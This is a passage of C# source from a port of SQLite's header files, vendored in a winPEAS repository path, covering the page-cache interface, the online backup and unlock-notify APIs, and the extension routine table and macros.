    ** ** xUnpin() is called by SQLite with a pointer to a currently pinned page ** as its second argument. If the third parameter, discard, is non-zero, ** then the page should be evicted from the cache. In this case SQLite ** assumes that the next time the page is retrieved from the cache using ** the xFetch() method, it will be zeroed. If the discard parameter is ** zero, then the page is considered to be unpinned. The cache implementation ** may choose to reclaim (free or recycle) unpinned pages at any time. ** SQLite assumes that next time the page is retrieved from the cache ** it will either be zeroed, or contain the same data that it did when it ** was unpinned. ** ** The cache is not required to perform any reference counting. A single ** call to xUnpin() unpins the page regardless of the number of prior calls ** to xFetch(). ** ** The xRekey() method is used to change the key value associated with the ** page passed as the second argument from oldKey to newKey. If the cache ** previously contains an entry associated with newKey, it should be ** discarded. Any prior cache entry associated with newKey is guaranteed not ** to be pinned. ** ** When SQLite calls the xTruncate() method, the cache must discard all ** existing cache entries with page numbers (keys) greater than or equal ** to the value of the iLimit parameter passed to xTruncate(). If any ** of these pages are pinned, they are implicitly unpinned, meaning that ** they can be safely discarded. ** ** The xDestroy() method is used to delete a cache allocated by xCreate(). ** All resources associated with the specified cache should be freed. After ** calling the xDestroy() method, SQLite considers the [sqlite3_pcache*] ** handle invalid, and will not use it with any other sqlite3_pcache_methods ** functions. */ //typedef struct sqlite3_pcache_methods sqlite3_pcache_methods; //struct sqlite3_pcache_methods { // void *pArg; // int (*xInit)(void*); // void (*xShutdown)(void*); // sqlite3_pcache *(*xCreate)(int szPage, int bPurgeable); // void (*xCachesize)(sqlite3_pcache*, int nCachesize); // int (*xPagecount)(sqlite3_pcache*); // void *(*xFetch)(sqlite3_pcache*, unsigned key, int createFlag); // void (*xUnpin)(sqlite3_pcache*, void*, int discard); // void (*xRekey)(sqlite3_pcache*, void*, unsigned oldKey, unsigned newKey); // void (*xTruncate)(sqlite3_pcache*, unsigned iLimit); // void (*xDestroy)(sqlite3_pcache*); //}; public class sqlite3_pcache_methods { public object pArg; public dxPC_Init xInit;//int (*xInit)(void*); public dxPC_Shutdown xShutdown;//public void (*xShutdown)(void*); public dxPC_Create xCreate;//public sqlite3_pcache *(*xCreate)(int szPage, int bPurgeable); public dxPC_Cachesize xCachesize;//public void (*xCachesize)(sqlite3_pcache*, int nCachesize); public dxPC_Pagecount xPagecount;//public int (*xPagecount)(sqlite3_pcache*); public dxPC_Fetch xFetch;//public void *(*xFetch)(sqlite3_pcache*, unsigned key, int createFlag); public dxPC_Unpin xUnpin;//public void (*xUnpin)(sqlite3_pcache*, void*, int discard); public dxPC_Rekey xRekey;//public void (*xRekey)(sqlite3_pcache*, void*, unsigned oldKey, unsigned newKey); public dxPC_Truncate xTruncate;//public void (*xTruncate)(sqlite3_pcache*, unsigned iLimit); public dxPC_Destroy xDestroy;//public void (*xDestroy)(sqlite3_pcache*); public sqlite3_pcache_methods() { } public sqlite3_pcache_methods( object pArg, dxPC_Init xInit, dxPC_Shutdown xShutdown, dxPC_Create xCreate, dxPC_Cachesize xCachesize, dxPC_Pagecount xPagecount, dxPC_Fetch xFetch, dxPC_Unpin xUnpin, dxPC_Rekey xRekey, dxPC_Truncate xTruncate, dxPC_Destroy xDestroy ) { this.pArg = pArg; this.xInit = xInit; this.xShutdown = xShutdown; this.xCreate = xCreate; this.xCachesize = xCachesize; this.xPagecount = xPagecount; this.xFetch = xFetch; this.xUnpin = xUnpin; this.xRekey = xRekey; this.xTruncate = xTruncate; this.xDestroy = xDestroy; } }; /* ** CAPI3REF: Online Backup Object ** EXPERIMENTAL ** ** The sqlite3_backup object records state information about an ongoing ** online backup operation. The sqlite3_backup object is created by ** a call to [sqlite3_backup_init()] and is destroyed by a call to ** [sqlite3_backup_finish()]. ** ** See Also: [Using the SQLite Online Backup API] */ //typedef struct sqlite3_backup sqlite3_backup; /* ** CAPI3REF: Online Backup API. ** EXPERIMENTAL ** ** This API is used to overwrite the contents of one database with that ** of another. It is useful either for creating backups of databases or ** for copying in-memory databases to or from persistent files. ** ** See Also: [Using the SQLite Online Backup API] ** ** Exclusive access is required to the destination database for the ** duration of the operation. However the source database is only ** read-locked while it is actually being read, it is not locked ** continuously for the entire operation. Thus, the backup may be ** performed on a live database without preventing other users from ** writing to the database for an extended period of time. ** ** To perform a backup operation: **
      **
    1. sqlite3_backup_init() is called once to initialize the ** backup, **
    2. sqlite3_backup_step() is called one or more times to transfer ** the data between the two databases, and finally **
    3. sqlite3_backup_finish() is called to release all resources ** associated with the backup operation. **
    ** There should be exactly one call to sqlite3_backup_finish() for each ** successful call to sqlite3_backup_init(). ** ** sqlite3_backup_init() ** ** The first two arguments passed to [sqlite3_backup_init()] are the database ** handle associated with the destination database and the database name ** used to attach the destination database to the handle. The database name ** is "main" for the main database, "temp" for the temporary database, or ** the name specified as part of the [ATTACH] statement if the destination is ** an attached database. The third and fourth arguments passed to ** sqlite3_backup_init() identify the [database connection] ** and database name used ** to access the source database. The values passed for the source and ** destination [database connection] parameters must not be the same. ** ** If an error occurs within sqlite3_backup_init(), then NULL is returned ** and an error code and error message written into the [database connection] ** passed as the first argument. They may be retrieved using the ** [sqlite3_errcode()], [sqlite3_errmsg()], and [sqlite3_errmsg16()] functions. ** Otherwise, if successful, a pointer to an [sqlite3_backup] object is ** returned. This pointer may be used with the sqlite3_backup_step() and ** sqlite3_backup_finish() functions to perform the specified backup ** operation. ** ** sqlite3_backup_step() ** ** Function [sqlite3_backup_step()] is used to copy up to nPage pages between ** the source and destination databases, where nPage is the value of the ** second parameter passed to sqlite3_backup_step(). If nPage is a negative ** value, all remaining source pages are copied. If the required pages are ** succesfully copied, but there are still more pages to copy before the ** backup is complete, it returns [SQLITE_OK]. If no error occured and there ** are no more pages to copy, then [SQLITE_DONE] is returned. If an error ** occurs, then an SQLite error code is returned. As well as [SQLITE_OK] and ** [SQLITE_DONE], a call to sqlite3_backup_step() may return [SQLITE_READONLY], ** [SQLITE_NOMEM], [SQLITE_BUSY], [SQLITE_LOCKED], or an ** [SQLITE_IOERR_ACCESS | SQLITE_IOERR_XXX] extended error code. ** ** As well as the case where the destination database file was opened for ** read-only access, sqlite3_backup_step() may return [SQLITE_READONLY] if ** the destination is an in-memory database with a different page size ** from the source database. ** ** If sqlite3_backup_step() cannot obtain a required file-system lock, then ** the [sqlite3_busy_handler | busy-handler function] ** is invoked (if one is specified). If the ** busy-handler returns non-zero before the lock is available, then ** [SQLITE_BUSY] is returned to the caller. In this case the call to ** sqlite3_backup_step() can be retried later. If the source ** [database connection] ** is being used to write to the source database when sqlite3_backup_step() ** is called, then [SQLITE_LOCKED] is returned immediately. Again, in this ** case the call to sqlite3_backup_step() can be retried later on. If ** [SQLITE_IOERR_ACCESS | SQLITE_IOERR_XXX], [SQLITE_NOMEM], or ** [SQLITE_READONLY] is returned, then ** there is no point in retrying the call to sqlite3_backup_step(). These ** errors are considered fatal. At this point the application must accept ** that the backup operation has failed and pass the backup operation handle ** to the sqlite3_backup_finish() to release associated resources. ** ** Following the first call to sqlite3_backup_step(), an exclusive lock is ** obtained on the destination file. It is not released until either ** sqlite3_backup_finish() is called or the backup operation is complete ** and sqlite3_backup_step() returns [SQLITE_DONE]. Additionally, each time ** a call to sqlite3_backup_step() is made a [shared lock] is obtained on ** the source database file. This lock is released before the ** sqlite3_backup_step() call returns. Because the source database is not ** locked between calls to sqlite3_backup_step(), it may be modified mid-way ** through the backup procedure. If the source database is modified by an ** external process or via a database connection other than the one being ** used by the backup operation, then the backup will be transparently ** restarted by the next call to sqlite3_backup_step(). If the source ** database is modified by the using the same database connection as is used ** by the backup operation, then the backup database is transparently ** updated at the same time. ** ** sqlite3_backup_finish() ** ** Once sqlite3_backup_step() has returned [SQLITE_DONE], or when the ** application wishes to abandon the backup operation, the [sqlite3_backup] ** object should be passed to sqlite3_backup_finish(). This releases all ** resources associated with the backup operation. If sqlite3_backup_step() ** has not yet returned [SQLITE_DONE], then any active write-transaction on the ** destination database is rolled back. The [sqlite3_backup] object is invalid ** and may not be used following a call to sqlite3_backup_finish(). ** ** The value returned by sqlite3_backup_finish is [SQLITE_OK] if no error ** occurred, regardless or whether or not sqlite3_backup_step() was called ** a sufficient number of times to complete the backup operation. Or, if ** an out-of-memory condition or IO error occured during a call to ** sqlite3_backup_step() then [SQLITE_NOMEM] or an ** [SQLITE_IOERR_ACCESS | SQLITE_IOERR_XXX] error code ** is returned. In this case the error code and an error message are ** written to the destination [database connection]. ** ** A return of [SQLITE_BUSY] or [SQLITE_LOCKED] from sqlite3_backup_step() is ** not a permanent error and does not affect the return value of ** sqlite3_backup_finish(). ** ** sqlite3_backup_remaining(), sqlite3_backup_pagecount() ** ** Each call to sqlite3_backup_step() sets two values stored internally ** by an [sqlite3_backup] object. The number of pages still to be backed ** up, which may be queried by sqlite3_backup_remaining(), and the total ** number of pages in the source database file, which may be queried by ** sqlite3_backup_pagecount(). ** ** The values returned by these functions are only updated by ** sqlite3_backup_step(). If the source database is modified during a backup ** operation, then the values are not updated to account for any extra ** pages that need to be updated or the size of the source database file ** changing. ** ** Concurrent Usage of Database Handles ** ** The source [database connection] may be used by the application for other ** purposes while a backup operation is underway or being initialized. ** If SQLite is compiled and configured to support threadsafe database ** connections, then the source database connection may be used concurrently ** from within other threads. ** ** However, the application must guarantee that the destination database ** connection handle is not passed to any other API (by any thread) after ** sqlite3_backup_init() is called and before the corresponding call to ** sqlite3_backup_finish(). Unfortunately SQLite does not currently check ** for this, if the application does use the destination [database connection] ** for some other purpose during a backup operation, things may appear to ** work correctly but in fact be subtly malfunctioning. Use of the ** destination database connection while a backup is in progress might ** also cause a mutex deadlock. ** ** Furthermore, if running in [shared cache mode], the application must ** guarantee that the shared cache used by the destination database ** is not accessed while the backup is running. In practice this means ** that the application must guarantee that the file-system file being ** backed up to is not accessed by any connection within the process, ** not just the specific connection that was passed to sqlite3_backup_init(). ** ** The [sqlite3_backup] object itself is partially threadsafe. Multiple ** threads may safely make multiple concurrent calls to sqlite3_backup_step(). ** However, the sqlite3_backup_remaining() and sqlite3_backup_pagecount() ** APIs are not strictly speaking threadsafe. If they are invoked at the ** same time as another thread is invoking sqlite3_backup_step() it is ** possible that they return invalid values. */ //SQLITE_API sqlite3_backup *sqlite3_backup_init( // sqlite3 *pDest, /* Destination database handle */ // const char *zDestName, /* Destination database name */ // sqlite3 *pSource, /* Source database handle */ // const char *zSourceName /* Source database name */ //); //SQLITE_API int sqlite3_backup_step(sqlite3_backup *p, int nPage); //SQLITE_API int sqlite3_backup_finish(sqlite3_backup *p); //SQLITE_API int sqlite3_backup_remaining(sqlite3_backup *p); //SQLITE_API int sqlite3_backup_pagecount(sqlite3_backup *p); /* ** CAPI3REF: Unlock Notification ** EXPERIMENTAL ** ** When running in shared-cache mode, a database operation may fail with ** an [SQLITE_LOCKED] error if the required locks on the shared-cache or ** individual tables within the shared-cache cannot be obtained. See ** [SQLite Shared-Cache Mode] for a description of shared-cache locking. ** This API may be used to register a callback that SQLite will invoke ** when the connection currently holding the required lock relinquishes it. ** This API is only available if the library was compiled with the ** [SQLITE_ENABLE_UNLOCK_NOTIFY] C-preprocessor symbol defined. ** ** See Also: [Using the SQLite Unlock Notification Feature]. ** ** Shared-cache locks are released when a database connection concludes ** its current transaction, either by committing it or rolling it back. ** ** When a connection (known as the blocked connection) fails to obtain a ** shared-cache lock and SQLITE_LOCKED is returned to the caller, the ** identity of the database connection (the blocking connection) that ** has locked the required resource is stored internally. After an ** application receives an SQLITE_LOCKED error, it may call the ** sqlite3_unlock_notify() method with the blocked connection handle as ** the first argument to register for a callback that will be invoked ** when the blocking connections current transaction is concluded. The ** callback is invoked from within the [sqlite3_step] or [sqlite3_close] ** call that concludes the blocking connections transaction. ** ** If sqlite3_unlock_notify() is called in a multi-threaded application, ** there is a chance that the blocking connection will have already ** concluded its transaction by the time sqlite3_unlock_notify() is invoked. ** If this happens, then the specified callback is invoked immediately, ** from within the call to sqlite3_unlock_notify(). ** ** If the blocked connection is attempting to obtain a write-lock on a ** shared-cache table, and more than one other connection currently holds ** a read-lock on the same table, then SQLite arbitrarily selects one of ** the other connections to use as the blocking connection. ** ** There may be at most one unlock-notify callback registered by a ** blocked connection. If sqlite3_unlock_notify() is called when the ** blocked connection already has a registered unlock-notify callback, ** then the new callback replaces the old. If sqlite3_unlock_notify() is ** called with a NULL pointer as its second argument, then any existing ** unlock-notify callback is cancelled. The blocked connections ** unlock-notify callback may also be canceled by closing the blocked ** connection using [sqlite3_close()]. ** ** The unlock-notify callback is not reentrant. If an application invokes ** any sqlite3_xxx API functions from within an unlock-notify callback, a ** crash or deadlock may be the result. ** ** Unless deadlock is detected (see below), sqlite3_unlock_notify() always ** returns SQLITE_OK. ** ** Callback Invocation Details ** ** When an unlock-notify callback is registered, the application provides a ** single void* pointer that is passed to the callback when it is invoked. ** However, the signature of the callback function allows SQLite to pass ** it an array of void* context pointers. The first argument passed to ** an unlock-notify callback is a pointer to an array of void* pointers, ** and the second is the number of entries in the array. ** ** When a blocking connections transaction is concluded, there may be ** more than one blocked connection that has registered for an unlock-notify ** callback. If two or more such blocked connections have specified the ** same callback function, then instead of invoking the callback function ** multiple times, it is invoked once with the set of void* context pointers ** specified by the blocked connections bundled together into an array. ** This gives the application an opportunity to prioritize any actions ** related to the set of unblocked database connections. ** ** Deadlock Detection ** ** Assuming that after registering for an unlock-notify callback a ** database waits for the callback to be issued before taking any further ** action (a reasonable assumption), then using this API may cause the ** application to deadlock. For example, if connection X is waiting for ** connection Y's transaction to be concluded, and similarly connection ** Y is waiting on connection X's transaction, then neither connection ** will proceed and the system may remain deadlocked indefinitely. ** ** To avoid this scenario, the sqlite3_unlock_notify() performs deadlock ** detection. If a given call to sqlite3_unlock_notify() would put the ** system in a deadlocked state, then SQLITE_LOCKED is returned and no ** unlock-notify callback is registered. The system is said to be in ** a deadlocked state if connection A has registered for an unlock-notify ** callback on the conclusion of connection B's transaction, and connection ** B has itself registered for an unlock-notify callback when connection ** A's transaction is concluded. Indirect deadlock is also detected, so ** the system is also considered to be deadlocked if connection B has ** registered for an unlock-notify callback on the conclusion of connection ** C's transaction, where connection C is waiting on connection A. Any ** number of levels of indirection are allowed. ** ** The "DROP TABLE" Exception ** ** When a call to [sqlite3_step()] returns SQLITE_LOCKED, it is almost ** always appropriate to call sqlite3_unlock_notify(). There is however, ** one exception. When executing a "DROP TABLE" or "DROP INDEX" statement, ** SQLite checks if there are any currently executing SELECT statements ** that belong to the same connection. If there are, SQLITE_LOCKED is ** returned. In this case there is no "blocking connection", so invoking ** sqlite3_unlock_notify() results in the unlock-notify callback being ** invoked immediately. If the application then re-attempts the "DROP TABLE" ** or "DROP INDEX" query, an infinite loop might be the result. ** ** One way around this problem is to check the extended error code returned ** by an sqlite3_step() call. If there is a blocking connection, then the ** extended error code is set to SQLITE_LOCKED_SHAREDCACHE. Otherwise, in ** the special "DROP TABLE/INDEX" case, the extended error code is just ** SQLITE_LOCKED. */ //SQLITE_API int sqlite3_unlock_notify( // sqlite3 *pBlocked, /* Waiting connection */ // void (*xNotify)(void **apArg, int nArg), /* Callback function to invoke */ // void *pNotifyArg /* Argument to pass to xNotify */ //); /* ** CAPI3REF: String Comparison ** EXPERIMENTAL ** ** The [sqlite3_strnicmp()] API allows applications and extensions to ** compare the contents of two buffers containing UTF-8 strings in a ** case-indendent fashion, using the same definition of case independence ** that SQLite uses internally when comparing identifiers. */ //SQLITE_API int sqlite3_strnicmp(const char *, const char *, int); /* ** Undo the hack that converts floating point types to integer for ** builds on processors without floating point support. */ //#ifdef SQLITE_OMIT_FLOATING_POINT //# undef double //#endif //#ifdef __cplusplus //} /* End of the 'extern "C"' block */ //#endif //#endif } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/sqlite3ext_h.cs ================================================ namespace winPEAS._3rdParty.SQLite.src { public partial class CSSQLite { /* ** 2006 June 7 ** ** The author disclaims copyright to this source code. In place of ** a legal notice, here is a blessing: ** ** May you do good and not evil. ** May you find forgiveness for yourself and forgive others. ** May you share freely, never taking more than you give. ** ************************************************************************* ** This header file defines the SQLite interface for use by ** shared libraries that want to be imported as extensions into ** an SQLite instance. Shared libraries that intend to be loaded ** as extensions by SQLite should #include this file instead of ** sqlite3.h. ** ** @(#) $Id: sqlite3ext.h,v 1.25 2008/10/12 00:27:54 shane Exp $ ** ************************************************************************* ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart ** C#-SQLite is an independent reimplementation of the SQLite software library ** ** $Header$ ************************************************************************* */ #if !_SQLITE3EXT_H_ //#define _SQLITE3EXT_H_ //#include "sqlite3.h" //typedef struct sqlite3_api_routines sqlite3_api_routines; /* ** The following structure holds pointers to all of the SQLite API ** routines. ** ** WARNING: In order to maintain backwards compatibility, add new ** interfaces to the end of this structure only. If you insert new ** interfaces in the middle of this structure, then older different ** versions of SQLite will not be able to load each others' shared ** libraries! */ //struct sqlite3_api_routines { // void * (*aggregate_context)(sqlite3_context*,int nBytes); // int (*aggregate_count)(sqlite3_context*); // int (*bind_blob)(sqlite3_stmt*,int,const void*,int n,void(*)(void*)); // int (*bind_double)(sqlite3_stmt*,int,double); // int (*bind_int)(sqlite3_stmt*,int,int); // int (*bind_int64)(sqlite3_stmt*,int,sqlite_int64); // int (*bind_null)(sqlite3_stmt*,int); // int (*bind_parameter_count)(sqlite3_stmt*); // int (*bind_parameter_index)(sqlite3_stmt*,const char*zName); // const char * (*bind_parameter_name)(sqlite3_stmt*,int); // int (*bind_text)(sqlite3_stmt*,int,const char*,int n,void(*)(void*)); // int (*bind_text16)(sqlite3_stmt*,int,const void*,int,void(*)(void*)); // int (*bind_value)(sqlite3_stmt*,int,const sqlite3_value*); // int (*busy_handler)(sqlite3*,int(*)(void*,int),void*); // int (*busy_timeout)(sqlite3*,int ms); // int (*changes)(sqlite3*); // int (*close)(sqlite3*); // int (*collation_needed)(sqlite3*,void*,void(*)(void*,sqlite3*,int eTextRep,const char*)); // int (*collation_needed16)(sqlite3*,void*,void(*)(void*,sqlite3*,int eTextRep,const void*)); // const void * (*column_blob)(sqlite3_stmt*,int iCol); // int (*column_bytes)(sqlite3_stmt*,int iCol); // int (*column_bytes16)(sqlite3_stmt*,int iCol); // int (*column_count)(sqlite3_stmt*pStmt); // const char * (*column_database_name)(sqlite3_stmt*,int); // const void * (*column_database_name16)(sqlite3_stmt*,int); // const char * (*column_decltype)(sqlite3_stmt*,int i); // const void * (*column_decltype16)(sqlite3_stmt*,int); // double (*column_double)(sqlite3_stmt*,int iCol); // int (*column_int)(sqlite3_stmt*,int iCol); // sqlite_int64 (*column_int64)(sqlite3_stmt*,int iCol); // const char * (*column_name)(sqlite3_stmt*,int); // const void * (*column_name16)(sqlite3_stmt*,int); // const char * (*column_origin_name)(sqlite3_stmt*,int); // const void * (*column_origin_name16)(sqlite3_stmt*,int); // const char * (*column_table_name)(sqlite3_stmt*,int); // const void * (*column_table_name16)(sqlite3_stmt*,int); // const unsigned char * (*column_text)(sqlite3_stmt*,int iCol); // const void * (*column_text16)(sqlite3_stmt*,int iCol); // int (*column_type)(sqlite3_stmt*,int iCol); // sqlite3_value* (*column_value)(sqlite3_stmt*,int iCol); // void * (*commit_hook)(sqlite3*,int(*)(void*),void*); // int (*complete)(const char*sql); // int (*complete16)(const void*sql); // int (*create_collation)(sqlite3*,const char*,int,void*,int(*)(void*,int,const void*,int,const void*)); // int (*create_collation16)(sqlite3*,const void*,int,void*,int(*)(void*,int,const void*,int,const void*)); // int (*create_function)(sqlite3*,const char*,int,int,void*,void (*xFunc)(sqlite3_context*,int,sqlite3_value**),void (*xStep)(sqlite3_context*,int,sqlite3_value**),void (*xFinal)(sqlite3_context*)); // int (*create_function16)(sqlite3*,const void*,int,int,void*,void (*xFunc)(sqlite3_context*,int,sqlite3_value**),void (*xStep)(sqlite3_context*,int,sqlite3_value**),void (*xFinal)(sqlite3_context*)); // int (*create_module)(sqlite3*,const char*,const sqlite3_module*,void*); // int (*data_count)(sqlite3_stmt*pStmt); // sqlite3 * (*db_handle)(sqlite3_stmt*); // int (*declare_vtab)(sqlite3*,const char*); // int (*enable_shared_cache)(int); // int (*errcode)(sqlite3*db); // const char * (*errmsg)(sqlite3*); // const void * (*errmsg16)(sqlite3*); // int (*exec)(sqlite3*,const char*,sqlite3_callback,void*,char**); // int (*expired)(sqlite3_stmt*); // int (*finalize)(sqlite3_stmt*pStmt); // void (*free)(void*); // void (*free_table)(char**result); // int (*get_autocommit)(sqlite3*); // void * (*get_auxdata)(sqlite3_context*,int); // int (*get_table)(sqlite3*,const char*,char***,int*,int*,char**); // int (*global_recover)(void); // void (*interruptx)(sqlite3*); // sqlite_int64 (*last_insert_rowid)(sqlite3*); // const char * (*libversion)(void); // int (*libversion_number)(void); // void *(*malloc)(int); // char * (*mprintf)(const char*,...); // int (*open)(const char*,sqlite3**); // int (*open16)(const void*,sqlite3**); // int (*prepare)(sqlite3*,const char*,int,sqlite3_stmt**,const char**); // int (*prepare16)(sqlite3*,const void*,int,sqlite3_stmt**,const void**); // void * (*profile)(sqlite3*,void(*)(void*,const char*,sqlite_u3264),void*); // void (*progress_handler)(sqlite3*,int,int(*)(void*),void*); // void *(*realloc)(void*,int); // int (*reset)(sqlite3_stmt*pStmt); // void (*result_blob)(sqlite3_context*,const void*,int,void(*)(void*)); // void (*result_double)(sqlite3_context*,double); // void (*result_error)(sqlite3_context*,const char*,int); // void (*result_error16)(sqlite3_context*,const void*,int); // void (*result_int)(sqlite3_context*,int); // void (*result_int64)(sqlite3_context*,sqlite_int64); // void (*result_null)(sqlite3_context*); // void (*result_text)(sqlite3_context*,const char*,int,void(*)(void*)); // void (*result_text16)(sqlite3_context*,const void*,int,void(*)(void*)); // void (*result_text16be)(sqlite3_context*,const void*,int,void(*)(void*)); // void (*result_text16le)(sqlite3_context*,const void*,int,void(*)(void*)); // void (*result_value)(sqlite3_context*,sqlite3_value*); // void * (*rollback_hook)(sqlite3*,void(*)(void*),void*); // int (*set_authorizer)(sqlite3*,int(*)(void*,int,const char*,const char*,const char*,const char*),void*); // void (*set_auxdata)(sqlite3_context*,int,void*,void (*)(void*)); // char * (*snprintf)(int,char*,const char*,...); // int (*step)(sqlite3_stmt*); // int (*table_column_metadata)(sqlite3*,const char*,const char*,const char*,char const**,char const**,int*,int*,int*); // void (*thread_cleanup)(void); // int (*total_changes)(sqlite3*); // void * (*trace)(sqlite3*,void(*xTrace)(void*,const char*),void*); // int (*transfer_bindings)(sqlite3_stmt*,sqlite3_stmt*); // void * (*update_hook)(sqlite3*,void(*)(void*,int ,char const*,char const*,sqlite_int64),void*); // void * (*user_data)(sqlite3_context*); // const void * (*value_blob)(sqlite3_value*); // int (*value_bytes)(sqlite3_value*); // int (*value_bytes16)(sqlite3_value*); // double (*value_double)(sqlite3_value*); // int (*value_int)(sqlite3_value*); // sqlite_int64 (*value_int64)(sqlite3_value*); // int (*value_numeric_type)(sqlite3_value*); // const unsigned char * (*value_text)(sqlite3_value*); // const void * (*value_text16)(sqlite3_value*); // const void * (*value_text16be)(sqlite3_value*); // const void * (*value_text16le)(sqlite3_value*); // int (*value_type)(sqlite3_value*); // char *(*vmprintf)(const char*,va_list); // /* Added ??? */ // int (*overload_function)(sqlite3*, const char *zFuncName, int nArg); // /* Added by 3.3.13 */ // int (*prepare_v2)(sqlite3*,const char*,int,sqlite3_stmt**,const char**); // int (*prepare16_v2)(sqlite3*,const void*,int,sqlite3_stmt**,const void**); // int (*clear_bindings)(sqlite3_stmt*); // /* Added by 3.4.1 */ // int (*create_module_v2)(sqlite3*,const char*,const sqlite3_module*,void*,void (*xDestroy)(void *)); // /* Added by 3.5.0 */ // int (*bind_zeroblob)(sqlite3_stmt*,int,int); // int (*blob_bytes)(sqlite3_blob*); // int (*blob_close)(sqlite3_blob*); // int (*blob_open)(sqlite3*,const char*,const char*,const char*,sqlite3_int64,int,sqlite3_blob**); // int (*blob_read)(sqlite3_blob*,void*,int,int); // int (*blob_write)(sqlite3_blob*,const void*,int,int); // int (*create_collation_v2)(sqlite3*,const char*,int,void*,int(*)(void*,int,const void*,int,const void*),void(*)(void*)); // int (*file_control)(sqlite3*,const char*,int,void*); // sqlite3_int64 (*memory_highwater)(int); // sqlite3_int64 (*memory_used)(void); // sqlite3_mutex *(*mutex_alloc)(int); // void (*mutex_enter)(sqlite3_mutex*); // void (*mutex_free)(sqlite3_mutex*); // void (*mutex_leave)(sqlite3_mutex*); // int (*mutex_try)(sqlite3_mutex*); // int (*open_v2)(const char*,sqlite3**,int,const char*); // int (*release_memory)(int); // void (*result_error_nomem)(sqlite3_context*); // void (*result_error_toobig)(sqlite3_context*); // int (*sleep)(int); // void (*soft_heap_limit)(int); // sqlite3_vfs *(*vfs_find)(const char*); // int (*vfs_register)(sqlite3_vfs*,int); // int (*vfs_unregister)(sqlite3_vfs*); // int (*xthreadsafe)(void); // void (*result_zeroblob)(sqlite3_context*,int); // void (*result_error_code)(sqlite3_context*,int); // int (*test_control)(int, ...); // void (*randomness)(int,void*); // sqlite3 *(*context_db_handle)(sqlite3_context*); //int (*extended_result_codes)(sqlite3*,int); //int (*limit)(sqlite3*,int,int); //sqlite3_stmt *(*next_stmt)(sqlite3*,sqlite3_stmt*); //const char *(*sql)(sqlite3_stmt*); //int (*status)(int,int*,int*,int); //}; public class sqlite3_api_routines { public sqlite3 context_db_handle; }; /* ** The following macros redefine the API routines so that they are ** redirected throught the global sqlite3_api structure. ** ** This header file is also used by the loadext.c source file ** (part of the main SQLite library - not an extension) so that ** it can get access to the sqlite3_api_routines structure ** definition. But the main library does not want to redefine ** the API. So the redefinition macros are only valid if the ** SQLITE_CORE macros is undefined. */ #if !SQLITE_CORE //#define sqlite3_aggregate_context sqlite3_api->aggregate_context #if !SQLITE_OMIT_DEPRECATED /#define sqlite3_aggregate_count sqlite3_api->aggregate_count #endif //#define sqlite3_bind_blob sqlite3_api->bind_blob //#define sqlite3_bind_double sqlite3_api->bind_double //#define sqlite3_bind_int sqlite3_api->bind_int //#define sqlite3_bind_int64 sqlite3_api->bind_int64 //#define sqlite3_bind_null sqlite3_api->bind_null //#define sqlite3_bind_parameter_count sqlite3_api->bind_parameter_count //#define sqlite3_bind_parameter_index sqlite3_api->bind_parameter_index //#define sqlite3_bind_parameter_name sqlite3_api->bind_parameter_name //#define sqlite3_bind_text sqlite3_api->bind_text //#define sqlite3_bind_text16 sqlite3_api->bind_text16 //#define sqlite3_bind_value sqlite3_api->bind_value //#define sqlite3_busy_handler sqlite3_api->busy_handler //#define sqlite3_busy_timeout sqlite3_api->busy_timeout //#define sqlite3_changes sqlite3_api->changes //#define sqlite3_close sqlite3_api->close //#define sqlite3_collation_needed sqlite3_api->collation_needed //#define sqlite3_collation_needed16 sqlite3_api->collation_needed16 //#define sqlite3_column_blob sqlite3_api->column_blob //#define sqlite3_column_bytes sqlite3_api->column_bytes //#define sqlite3_column_bytes16 sqlite3_api->column_bytes16 //#define sqlite3_column_count sqlite3_api->column_count //#define sqlite3_column_database_name sqlite3_api->column_database_name //#define sqlite3_column_database_name16 sqlite3_api->column_database_name16 //#define sqlite3_column_decltype sqlite3_api->column_decltype //#define sqlite3_column_decltype16 sqlite3_api->column_decltype16 //#define sqlite3_column_double sqlite3_api->column_double //#define sqlite3_column_int sqlite3_api->column_int //#define sqlite3_column_int64 sqlite3_api->column_int64 //#define sqlite3_column_name sqlite3_api->column_name //#define sqlite3_column_name16 sqlite3_api->column_name16 //#define sqlite3_column_origin_name sqlite3_api->column_origin_name //#define sqlite3_column_origin_name16 sqlite3_api->column_origin_name16 //#define sqlite3_column_table_name sqlite3_api->column_table_name //#define sqlite3_column_table_name16 sqlite3_api->column_table_name16 //#define sqlite3_column_text sqlite3_api->column_text //#define sqlite3_column_text16 sqlite3_api->column_text16 //#define sqlite3_column_type sqlite3_api->column_type //#define sqlite3_column_value sqlite3_api->column_value //#define sqlite3_commit_hook sqlite3_api->commit_hook //#define sqlite3_complete sqlite3_api->complete //#define sqlite3_complete16 sqlite3_api->complete16 //#define sqlite3_create_collation sqlite3_api->create_collation //#define sqlite3_create_collation16 sqlite3_api->create_collation16 //#define sqlite3_create_function sqlite3_api->create_function //#define sqlite3_create_function16 sqlite3_api->create_function16 //#define sqlite3_create_module sqlite3_api->create_module //#define sqlite3_create_module_v2 sqlite3_api->create_module_v2 //#define sqlite3_data_count sqlite3_api->data_count //#define sqlite3_db_handle sqlite3_api->db_handle //#define sqlite3_declare_vtab sqlite3_api->declare_vtab //#define sqlite3_enable_shared_cache sqlite3_api->enable_shared_cache //#define sqlite3_errcode sqlite3_api->errcode //#define sqlite3_errmsg sqlite3_api->errmsg //#define sqlite3_errmsg16 sqlite3_api->errmsg16 //#define sqlite3_exec sqlite3_api->exec #if !SQLITE_OMIT_DEPRECATED /#define sqlite3_expired sqlite3_api->expired #endif //#define sqlite3_finalize sqlite3_api->finalize //#define //sqlite3_free sqlite3_api->free //#define //sqlite3_free_table sqlite3_api->free_table //#define sqlite3_get_autocommit sqlite3_api->get_autocommit //#define sqlite3_get_auxdata sqlite3_api->get_auxdata //#define sqlite3_get_table sqlite3_api->get_table #if !SQLITE_OMIT_DEPRECATED //#define sqlite3_global_recover sqlite3_api->global_recover #endif //#define sqlite3_interrupt sqlite3_api->interruptx //#define sqlite3_last_insert_rowid sqlite3_api->last_insert_rowid //#define sqlite3_libversion sqlite3_api->libversion //#define sqlite3_libversion_number sqlite3_api->libversion_number //#define sqlite3Malloc sqlite3_api->malloc //#define sqlite3_mprintf sqlite3_api->mprintf //#define sqlite3_open sqlite3_api.open //#define sqlite3_open16 sqlite3_api.open16 //#define sqlite3_prepare sqlite3_api.prepare //#define sqlite3_prepare16 sqlite3_api.prepare16 //#define sqlite3_prepare_v2 sqlite3_api.prepare_v2 //#define 